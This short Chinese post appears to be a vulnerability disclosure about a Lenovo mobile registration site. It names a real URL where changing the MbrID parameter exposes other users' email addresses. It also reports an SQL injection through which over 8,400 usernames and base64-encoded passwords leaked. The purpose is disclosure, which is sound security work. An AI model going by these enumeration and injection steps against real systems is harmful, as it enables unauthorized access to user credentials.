这个页面被小胖子和VIP都测试过，之前的几个问题都已经修复了，不过还有漏网之鱼。
说下测试思路和方法，首先选择因公购机方式进行注册页面

注册成功后，弹出的页面就有问题了。MbrID=8409 对应的是[email protected]
直接改了ID后面的数字，比如xxxx。 是的，此处存在用户邮箱地址被遍历的漏洞
http://ess.lenovomobile.com/regiStep2.aspx?MbrID=8410

接下来，我们返回登录界面，使用注册的用户名密码进行登录

很可惜，登录不上去，因为邮箱没有激活

不过看一下URL链接，这么的似曾相识呢。直觉告诉这个链接百分之百有问题。

果然，存在SQL注射漏洞
萝卜

8400+用户名密码侧漏，base64都懂的,比VIP小朋友当时的用户增加了几百个
